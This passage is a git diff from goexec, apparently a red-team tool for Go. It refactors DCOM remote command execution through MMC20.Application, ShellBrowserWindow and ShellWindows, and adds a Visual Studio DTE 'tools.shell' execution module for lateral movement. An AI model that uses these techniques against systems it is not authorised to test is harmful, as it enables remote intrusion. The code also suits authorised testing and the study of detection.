MMC20.Application::Document.ActiveView.ExecuteShellCommand + MmcUuid = "49B2791A-B1AE-4C90-9B8E-E860BA07F889" ) type DcomMmc struct { - Dcom - - IO goexec.ExecutionIO - + Dispatch WorkingDirectory string WindowState string } +// Init will initialize the ShellBrowserWindow instance +func (m *DcomMmc) Init(ctx context.Context) (err error) { + if err = m.Dcom.Init(ctx); err == nil { + return m.getDispatch(ctx, uuid.MustParse(MmcUuid)) + } + return +} + // Execute will perform command execution via the MMC20.Application DCOM object. func (m *DcomMmc) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { - - log := zerolog.Ctx(ctx).With(). - Str("module", ModuleName). - Str("method", MethodMmc). - Logger() - method := "Document.ActiveView.ExecuteShellCommand" - + log := zerolog.Ctx(ctx).With().Str("method", method).Logger() cmdline := execIO.CommandLine() - proc := cmdline[0] - args := cmdline[1] // Arguments must be passed in reverse order - if _, err := callComMethod(ctx, - m.dispatchClient, - nil, - method, + if _, err := m.callComMethod(ctx, nil, method, stringToVariant(m.WindowState), - stringToVariant(args), + stringToVariant(cmdline[1]), stringToVariant(m.WorkingDirectory), - stringToVariant(proc)); err != nil { + stringToVariant(cmdline[0])); err != nil { - log.Error().Err(err).Msg("Failed to call method") return fmt.Errorf("call %q: %w", method, err) } log.Info().Msg("Method call successful") diff --git a/pkg/goexec/dcom/module.go b/pkg/goexec/dcom/module.go index 287940c..e49b2bd 100644 --- a/pkg/goexec/dcom/module.go +++ b/pkg/goexec/dcom/module.go @@ -2,18 +2,15 @@ package dcomexec import ( "context" - "errors" "fmt" + "github.com/FalconOpsLLC/goexec/pkg/goexec" "github.com/FalconOpsLLC/goexec/pkg/goexec/dce" "github.com/oiweiwei/go-msrpc/dcerpc" "github.com/oiweiwei/go-msrpc/midl/uuid" "github.com/oiweiwei/go-msrpc/msrpc/dcom" - "github.com/oiweiwei/go-msrpc/msrpc/dcom/iremotescmactivator/v0" - "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0" - "github.com/oiweiwei/go-msrpc/msrpc/dtyp" - "github.com/rs/zerolog" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" ) @@ -26,14 +23,11 @@ type Dcom struct { goexec.Cleaner goexec.Executor - Client *dce.Client - ClassID *uuid.UUID - - dispatchClient idispatch.DispatchClient + Client *dce.Client + comVersion *dcom.COMVersion } func (m *Dcom) Connect(ctx context.Context) (err error) { - if err = m.Client.Connect(ctx); err == nil { m.AddCleaners(m.Client.Close) } @@ -41,107 +35,25 @@ func (m *Dcom) Connect(ctx context.Context) (err error) { } func (m *Dcom) Init(ctx context.Context) (err error) { - - log := zerolog.Ctx(ctx).With(). - Str("module", ModuleName).Logger() - - if m.Client == nil || m.Client.Dce() == nil { - return errors.New("DCE connection not initialized") - } - - if m.ClassID == nil { - return errors.New("CLSID not specified") - } - - class := dcom.ClassID(*dtyp.GUIDFromUUID(m.ClassID)) - - if class.GUID() == nil { - return fmt.Errorf("invalid class ID: %s", m.ClassID) - } - - opts := []dcerpc.Option{ - dcerpc.WithSign(), - } - - inst := &dcom.InstantiationInfoData{ - ClassID: &class, - IID: []*dcom.IID{IDispatchIID}, - ClientCOMVersion: ComVersion, - } - ac := &dcom.ActivationContextInfoData{} - loc := &dcom.LocationInfoData{} - scm := &dcom.SCMRequestInfoData{ - RemoteRequest: &dcom.CustomRemoteRequestSCMInfo{ - RequestedProtocolSequences: []uint16{7}, - }, - } - - ap := &dcom.ActivationProperties{ - DestinationContext: 2, - Properties: []dcom.ActivationProperty{inst, ac, loc, scm}, - } - - apin, err := ap.ActivationPropertiesIn() - if err != nil { - return err - } - - act, err := iremotescmactivator.NewRemoteSCMActivatorClient(ctx, m.Client.Dce()) - if err != nil { - return err - } - - cr, err := act.RemoteCreateInstance(ctx, &iremotescmactivator.RemoteCreateInstanceRequest{ - ORPCThis: &dcom.ORPCThis{ - Version: ComVersion, - Flags: 1, - CID: &RandCid, - }, - ActPropertiesIn: apin, - }) - if err != nil { - return err - } - log.Info().Msg("RemoteCreateInstance succeeded") - - apout := new(dcom.ActivationProperties) - if err = apout.Parse(cr.ActPropertiesOut); err != nil { - return err - } - si := apout.SCMReplyInfoData() - pi := apout.PropertiesOutInfo() - - if si == nil { - return fmt.Errorf("remote create instance response: SCMReplyInfoData is nil") - } - - if pi == nil { - return fmt.Errorf("remote create instance response: PropertiesOutInfo is nil") - } - - // Ensure that the string bindings don't contain the target hostname - for _, bind := range si.RemoteReply.OXIDBindings.GetStringBindings() { - stringBinding, err := dcerpc.ParseStringBinding("ncacn_ip_tcp:" + bind.NetworkAddr) // TODO: try bind.String() - + if m.comVersion = contextComVersion(ctx); m.comVersion == nil { + m.comVersion, err = getComVersion(ctx, m.Client.Dce()) if err != nil { - log.Debug().Err(err).Msg("Failed to parse string binding") - continue + return fmt.Errorf("get COM version: %w", err) } - stringBinding.NetworkAddress = "" - opts = append(opts, dcerpc.WithEndpoint(stringBinding.String())) } + return +} - err = m.Client.Reconnect(ctx, opts...) - if err != nil { - return err +func (m *Dcom) bindInstance(ctx context.Context, cls *uuid.UUID, iid *dcom.IID) (opts []dcerpc.Option, err error) { + if mt := contextCreateInstanceMethod(ctx); mt == OptRemoteCreateInstance { + opts, err = m.remoteCreateInstance(ctx, m.Client.Dce(), cls, iid) + } else if mt == OptRemoteActivation { + opts, err = m.remoteActivation(ctx, m.Client.Dce(), cls, iid) + } else { + return nil, fmt.Errorf("invalid create instance method: %s", mt) } - log.Info().Msg("created new DCERPC dialer") - - m.dispatchClient, err = idispatch.NewDispatchClient(ctx, m.Client.Dce(), dcom.WithIPID(pi.InterfaceData[0].IPID())) if err != nil { - return err + return nil, fmt.Errorf("create instance: %w", err) } - log.Info().Msg("created IDispatch Client") - - return + return opts, m.Client.Reconnect(ctx, opts...) } diff --git a/pkg/goexec/dcom/shellbrowserwindow.go b/pkg/goexec/dcom/shellbrowserwindow.go index ef2500a..33463bb 100644 --- a/pkg/goexec/dcom/shellbrowserwindow.go +++ b/pkg/goexec/dcom/shellbrowserwindow.go @@ -3,50 +3,50 @@ package dcomexec import ( "context" "fmt" + "github.com/FalconOpsLLC/goexec/pkg/goexec" + "github.com/oiweiwei/go-msrpc/midl/uuid" "github.com/rs/zerolog" + + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" ) const ( MethodShellBrowserWindow = "ShellBrowserWindow" // ShellBrowserWindow::Document.Application.ShellExecute + ShellBrowserWindowUuid = "C08AFD90-F2A1-11D1-8455-00A0C91F3880" ) type DcomShellBrowserWindow struct { - Dcom - - IO goexec.ExecutionIO - + Dispatch WorkingDirectory string WindowState string } +// Init will initialize the ShellBrowserWindow instance +func (m *DcomShellBrowserWindow) Init(ctx context.Context) (err error) { + if err = m.Dcom.Init(ctx); err == nil { + return m.getDispatch(ctx, uuid.MustParse(ShellBrowserWindowUuid)) + } + return +} + // Execute will perform command execution via the ShellBrowserWindow object. See https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ func (m *DcomShellBrowserWindow) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { - - log := zerolog.Ctx(ctx).With(). - Str("module", ModuleName). - Str("method", MethodShellBrowserWindow). - Logger() - method := "Document.Application.ShellExecute" - cmdline := execIO.CommandLine() - proc := cmdline[0] - args := cmdline[1] // Arguments must be passed in reverse order - if _, err := callComMethod(ctx, m.dispatchClient, - nil, - method, + if _, err := m.callComMethod(ctx, nil, method, stringToVariant(m.WindowState), stringToVariant(""), // FUTURE? stringToVariant(m.WorkingDirectory), - stringToVariant(args), - stringToVariant(proc)); err != nil { + stringToVariant(cmdline[1]), + stringToVariant(cmdline[0])); err != nil { - log.Error().Err(err).Msg("Failed to call method") return fmt.Errorf("call %q: %w", method, err) } - log.Info().Msg("Method call successful") + zerolog.Ctx(ctx).Info().Msg("Method call successful") return } diff --git a/pkg/goexec/dcom/shellwindows.go b/pkg/goexec/dcom/shellwindows.go index aa8417f..3e2a915 100644 --- a/pkg/goexec/dcom/shellwindows.go +++ b/pkg/goexec/dcom/shellwindows.go @@ -4,68 +4,60 @@ import ( "context" "errors" "fmt" + "github.com/FalconOpsLLC/goexec/pkg/goexec" + "github.com/oiweiwei/go-msrpc/midl/uuid" "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut" - "github.com/rs/zerolog" + "github.com/rs/zerolog/log" + + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" ) const ( MethodShellWindows = "ShellWindows" // ShellWindows::Item().Document.Application.ShellExecute + ShellWindowsUuid = "9BA05972-F6A8-11CF-A442-00A0C90A8F39" ) type DcomShellWindows struct { - Dcom - - IO goexec.ExecutionIO + Dispatch WorkingDirectory string WindowState string } +// Init will initialize the ShellWindows instance +func (m *DcomShellWindows) Init(ctx context.Context) (err error) { + if err = m.Dcom.Init(ctx); err == nil { + return m.getDispatch(ctx, uuid.MustParse(ShellWindowsUuid)) + } + return +} + // Execute will perform command execution via the ShellWindows object. See https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ func (m *DcomShellWindows) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { - - log := zerolog.Ctx(ctx).With(). - Str("module", ModuleName). - Str("method", MethodShellWindows). - Logger() - method := "Item" - cmdline := execIO.CommandLine() - proc := cmdline[0] - args := cmdline[1] - - iv, err := callComMethod(ctx, - m.dispatchClient, - nil, - "Item") - + iv, err := m.callComMethod(ctx, nil, "Item") if err != nil { log.Error().Err(err).Msg("Failed to call method") return fmt.Errorf("call method %q: %w", method, err) } - item, ok := iv.VarResult.VarUnion.GetValue().(*oaut.Dispatch) if !ok { return errors.New("failed to get dispatch from ShellWindows::Item()") } - method = "Document.Application.ShellExecute" + cmdline := execIO.CommandLine() // Arguments must be passed in reverse order - if _, err := callComMethod(ctx, m.dispatchClient, - item.InterfacePointer(). - GetStandardObjectReference(). - Std.IPID, - method, + if _, err := m.callComMethod(ctx, item.InterfacePointer().GetStandardObjectReference().Std.IPID, method, stringToVariant(m.WindowState), stringToVariant(""), // FUTURE? stringToVariant(m.WorkingDirectory), - stringToVariant(args), - stringToVariant(proc)); err != nil { - - log.Error().Err(err).Msg("Failed to call method") + stringToVariant(cmdline[1]), + stringToVariant(cmdline[0])); err != nil { return fmt.Errorf("call %q: %w", method, err) } log.Info().Msg("Method call successful") diff --git a/pkg/goexec/dcom/util.go b/pkg/goexec/dcom/util.go index b19e841..bf7a3dc 100644 --- a/pkg/goexec/dcom/util.go +++ b/pkg/goexec/dcom/util.go @@ -2,74 +2,45 @@ package dcomexec import ( "context" - "fmt" + "github.com/oiweiwei/go-msrpc/dcerpc" "github.com/oiweiwei/go-msrpc/msrpc/dcom" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/iobjectexporter/v0" "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut" - "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0" - "strings" - _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" ) -func callComMethod(ctx context.Context, dc idispatch.DispatchClient, id *dcom.IPID, method string, args ...*oaut.Variant) (ir *idispatch.InvokeResponse, err error) { - - parts := strings.Split(method, ".") - - for i, obj := range parts { - - var opts []dcerpc.CallOption - - if id != nil { - opts = append(opts, dcom.WithIPID(id)) - } - - gr, err := dc.GetIDsOfNames(ctx, &idispatch.GetIDsOfNamesRequest{ - This: ORPCThis, - IID: &dcom.IID{}, - LocaleID: LcEnglishUs, - - Names: []string{obj + "\x00"}, - }, opts...) - +// getComVersion uses IObjectExporter.ServerAlive2() to determine the COM version of the server. +// If a COM version can be determined from the context, then IObjectExporter.ServerAlive2 will not be called +func getComVersion(ctx context.Context, cc dcerpc.Conn) (ver *dcom.COMVersion, err error) { + cv := contextComVersion(ctx) + if cv == nil { + oe, err := iobjectexporter.NewObjectExporterClient(ctx, cc) if err != nil { - return nil, fmt.Errorf("get dispatch ID of name %q: %w", obj, err) + return nil, err } - - if len(gr.DispatchID) < 1 { - return nil, fmt.Errorf("dispatch ID of name %q not found", obj) - } - - irq := &idispatch.InvokeRequest{ - This: ORPCThis, - IID: &dcom.IID{}, - LocaleID: LcEnglishUs, - - DispatchIDMember: gr.DispatchID[0], - } - - if i >= len(parts)-1 { - irq.Flags = 1 - irq.DispatchParams = &oaut.DispatchParams{ArgsCount: uint32(len(args)), Args: args} - return dc.Invoke(ctx, irq, opts...) - } - irq.Flags = 2 - - ir, err = dc.Invoke(ctx, irq, opts...) + srv, err := oe.ServerAlive2(ctx, &iobjectexporter.ServerAlive2Request{}) if err != nil { - return nil, fmt.Errorf("get properties of object %q: %w", obj, err) + return nil, err } + return srv.COMVersion, nil + } + return cv, nil +} - di, ok := ir.VarResult.VarUnion.GetValue().(*oaut.Dispatch) - if !ok { - return nil, fmt.Errorf("invalid dispatch object for %q", obj) +// normalizeStringBindings removes the address/hostname from string bindings to prevent name resolution issues. +func normalizeStringBindings(bindings []*dcom.StringBinding) (opts []dcerpc.Option) { + for _, b := range bindings { + if s, err := dcerpc.ParseStringBinding(b.String()); err == nil { + s.NetworkAddress = "" + opts = append(opts, dcerpc.WithEndpoint(s.String())) } - id = di.InterfacePointer().GetStandardObjectReference().Std.IPID } return } +// stringToVariant converts a string to a *oaut.Variant. func stringToVariant(s string) *oaut.Variant { return &oaut.Variant{ Size: 5, diff --git a/pkg/goexec/dcom/visualstudio.go b/pkg/goexec/dcom/visualstudio.go new file mode 100644 index 0000000..43ceedf --- /dev/null +++ b/pkg/goexec/dcom/visualstudio.go @@ -0,0 +1,69 @@ +package dcomexec + +import "github.com/rs/zerolog" + +/* +See https://learn.microsoft.com/en-us/dotnet/api/envdte._dte.executecommand +*/ + +import ( + "context" + + "github.com/FalconOpsLLC/goexec/pkg/goexec" + "github.com/oiweiwei/go-msrpc/midl/uuid" + + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" +) + +const ( + MethodVisualStudioDTE = "VisualStudio.DTE:ExecuteCommand" + VisualStudioDteUuid = "33ABD590-0400-4FEF-AF98-5F5A8A99CFC3" + VisualStudioDte2019Uuid = "2E1517DA-87BF-4443-984A-D2BF18F5A908" +) + +type DcomVisualStudioDte struct { + Dispatch + // Is2019 indicates that the installation is Visual Studio 2019 + Is2019 bool + // CommandName is the name of the DTE command to invoke + CommandName string + // CommandArgs are the arguments to pass to the command + CommandArgs string +} + +func (m *DcomVisualStudioDte) Init(ctx context.Context) (err error) { + if err = m.Dcom.Init(ctx); err == nil { + if m.Is2019 { + return m.getDispatch(ctx, uuid.MustParse(VisualStudioDte2019Uuid)) + } + return m.getDispatch(ctx, uuid.MustParse(VisualStudioDteUuid)) + } + return +} + +func (m *DcomVisualStudioDte) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { + log := zerolog.Ctx(ctx) + dteCmd := m.CommandName + dteArgs := m.CommandArgs + if dteCmd == "" { + dteCmd = "tools.shell" + dteArgs = execIO.String() + } + defer func() { + // Terminate devenv.exe + q, err := m.callComMethod(ctx, nil, "Quit") + if err != nil { + log.Warn().Err(err).Msg("Call to Quit() failed") + return + } + zerolog.Ctx(ctx).Info().Int32("return", q.Return).Msg("Quit called") + }() + log.Info().Str("command", dteCmd).Str("args", dteArgs).Msg("Executing DTE command") + ir, err := m.callComMethod(ctx, nil, "ExecuteCommand", stringToVariant(dteArgs), stringToVariant(dteCmd)) + if err == nil { + log.Info().Int32("return", ir.Return).Msg("ExecuteCommand called") + } + return +} diff --git a/pkg/goexec/io.go b/pkg/goexec/io.go index 52e76fc..874dd77 100644 --- a/pkg/goexec/io.go +++ b/pkg/goexec/io.go @@ -9,15 +9,15 @@ import ( ) type OutputProvider interface { - GetOutput(ctx context.Context, writer io.Writer) (err error) - Clean(ctx context.Context) (err error) + GetOutput(ctx context.Context, writer io.Writer) (err error) + Clean(ctx context.Context) (err error) } type ExecutionIO struct { - Cleaner + Cleaner - Input *ExecutionInput - Output *ExecutionOutput + Input *ExecutionInput + Output *ExecutionOutput } type ExecutionOutput struct { @@ -29,11 +29,11 @@ type ExecutionOutput struct { } type ExecutionInput struct { - StageFile io.ReadCloser - Executable string - ExecutablePath string - Arguments string - Command string + StageFile io.ReadCloser + Executable string + ExecutablePath string + Arguments string + Command string } func (execIO *ExecutionIO) GetOutput(ctx context.Context) (err error) { @@ -45,31 +45,31 @@ func (execIO *ExecutionIO) GetOutput(ctx context.Context) (err error) { } func (execIO *ExecutionIO) Clean(ctx context.Context) (err error) { - if execIO.Output.Provider != nil { - return execIO.Output.Provider.Clean(ctx) - } - return nil + if execIO.Output.Provider != nil { + return execIO.Output.Provider.Clean(ctx) + } + return nil } func (execIO *ExecutionIO) CommandLine() (cmd []string) { - if execIO.Output.Provider != nil && execIO.Output.RemotePath != "" { - return []string{ - `C:\Windows\System32\cmd.exe`, - fmt.Sprintf(`/C %s > %s 2>&1`, execIO.Input.String(), execIO.Output.RemotePath), - } - } - return execIO.Input.CommandLine() + if execIO.Output.Provider != nil && execIO.Output.RemotePath != "" { + return []string{ + `C:\Windows\System32\cmd.exe`, + fmt.Sprintf(`/C%s >%s 2>&1`, execIO.Input.String(), execIO.Output.RemotePath), + } + } + return execIO.Input.CommandLine() } func (execIO *ExecutionIO) String() (str string) { - cmd := execIO.CommandLine() - // Ensure that executable paths are quoted - if strings.Contains(cmd[0], " ") { - str = fmt.Sprintf(`%q %s`, cmd[0], strings.Join(cmd[1:], " ")) - } else { - str = strings.Join(cmd, " ") - } - return strings.Trim(str, " \t\n\r") // trim whitespace + cmd := execIO.CommandLine() + // Ensure that executable paths are quoted + if strings.Contains(cmd[0], " ") { + str = fmt.Sprintf(`%q %s`, cmd[0], strings.Join(cmd[1:], " ")) + } else { + str = strings.Join(cmd, " ") + } + return strings.TrimSpace(str) // trim whitespace } func (i *ExecutionInput) CommandLine() (cmd []string) { @@ -89,12 +89,12 @@ func (i *ExecutionInput) CommandLine() (cmd []string) { } func (i *ExecutionInput) String() string { - return strings.Join(i.CommandLine(), " ") + return strings.TrimSpace(strings.Join(i.CommandLine(), " ")) } func (i *ExecutionInput) Reader() (reader io.Reader) { - if i.StageFile != nil { - return i.StageFile - } - return strings.NewReader(i.String()) + if i.StageFile != nil { + return i.StageFile + } + return strings.NewReader(i.String()) }